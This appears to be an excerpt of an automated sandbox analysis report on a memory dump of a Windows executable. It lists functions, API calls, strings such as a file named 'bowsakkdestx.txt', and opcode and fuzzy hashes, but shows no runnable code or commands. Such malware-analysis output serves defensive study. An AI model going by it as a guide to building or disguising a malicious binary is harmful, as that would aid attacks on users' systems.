_memset.LIBCMT ref: 0045AE15

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AD8B, 0045ADBE, 0045ADD0, 0045ADE7
C7F, xrefs: 0045AD51, 0045AD56, 0045AD69, 0045AE0B, 0045AE14

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$C7F
API String ID: 2102423945-2013712220
Opcode ID: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction ID: 54406e9f1970e0e1dce797ef07034894a3cffcceb7efccd845a222dac3d76e8e
Opcode Fuzzy Hash: fce9da4f2685e8a546a1aead5558aa77959c7a2ce52c5fe1bdde6675f364ff59
Instruction Fuzzy Hash: 91216DB1B443213BE200655DFC83B15B395EB84B19F104127FA18D72C2D2B8BC5982D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C5C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 0040C5DA
UuidToStringA.RPCRT4(?,00000000), ref: 0040C5F6
RpcStringFreeA.RPCRT4(00000000), ref: 0040C640

Strings

8a4577dc-de55-4eb5-b48a-8a3eee60cd95, xrefs: 0040C687

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: StringUuid$CreateFree
String ID: 8a4577dc-de55-4eb5-b48a-8a3eee60cd95
API String ID: 3044360575-2335240114
Opcode ID: a19a6412c6c33fa454dd3909279d5ce51fc032101351a635a97ce88cdf0871cf
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: a19a6412c6c33fa454dd3909279d5ce51fc032101351a635a97ce88cdf0871cf
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 00437A2D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 00437A44
_wcscmp.LIBCMT ref: 00437A55

Strings

OCP, xrefs: 00437A4F
ACP, xrefs: 00437A3E

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _wcscmp
String ID: ACP$OCP
API String ID: 856254489-711371036
Opcode ID: aa8000f8b7855d8823c6aeee0a3666c2c2ac351801b90a308c615276b5b88e11
Instruction ID: be6dee110b44ec76455643647cb0bd3c477e6d53c765760a4e3a4e904bc1756d
Opcode Fuzzy Hash: aa8000f8b7855d8823c6aeee0a3666c2c2ac351801b90a308c615276b5b88e11
Instruction Fuzzy Hash: EF01C4A2608215B6EB34BA59DC42FAE37899F0C3A4F105417F948D6281F77CEB4042DC

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 7bb19c27cc9a7f12da775c20c0529bba410bcf1f96fba2b77c3b0c0f0107ff1b
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: 7bb19c27cc9a7f12da775c20c0529bba410bcf1f96fba2b77c3b0c0f0107ff1b
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

LPCWSTRszWindowClass, xrefs: 0041BA65
0, xrefs: 0041BA1D

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 0cad0a123c859ebaf09cb5fb4221145e3795ca8d68ee32f64560b097eb098e8e
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 0cad0a123c859ebaf09cb5fb4221145e3795ca8d68ee32f64560b097eb098e8e
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 4f8a020f16c05ce8eb09244123f141b643e409d9ae385191a5e5949e342c4f07
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,E1C11FE1,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C709
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,?,00000001,00BFBBEF,00000000,?,00000000,00000000,?,0043C0ED,?,00BFBBEF,00000003), ref: 0043C73F

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 545b86b4f69abcc520aee3959e2c1e78f1be635744476d2f07a63b5a2a38a0c0
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: bf948a246cd3d25a275d4686356d76e5cbcc84c11c4d8d576ddc0a159a08c9b4
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: bf948a246cd3d25a275d4686356d76e5cbcc84c11c4d8d576ddc0a159a08c9b4
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00610000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00610000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 9bedb6a4875daed597998ed3f540e95eec51a82ba5ae0fcf6873f5b611974ef0
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 9bedb6a4875daed597998ed3f540e95eec51a82ba5ae0fcf6873f5b611974ef0
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 7df1e10ad76e29fab8b9693ecc8e3a17a06a76cc108172ebea4210ab36e9a770
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 7df1e10ad76e29fab8b9693ecc8e3a17a06a76cc108172ebea4210ab36e9a770
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777
unknown, xrefs: 0045175D

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000006.00000002.2862579350.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2862579350.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2862579350.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_g0Zq7nJjus.jbxd

Yara matches

Similarity

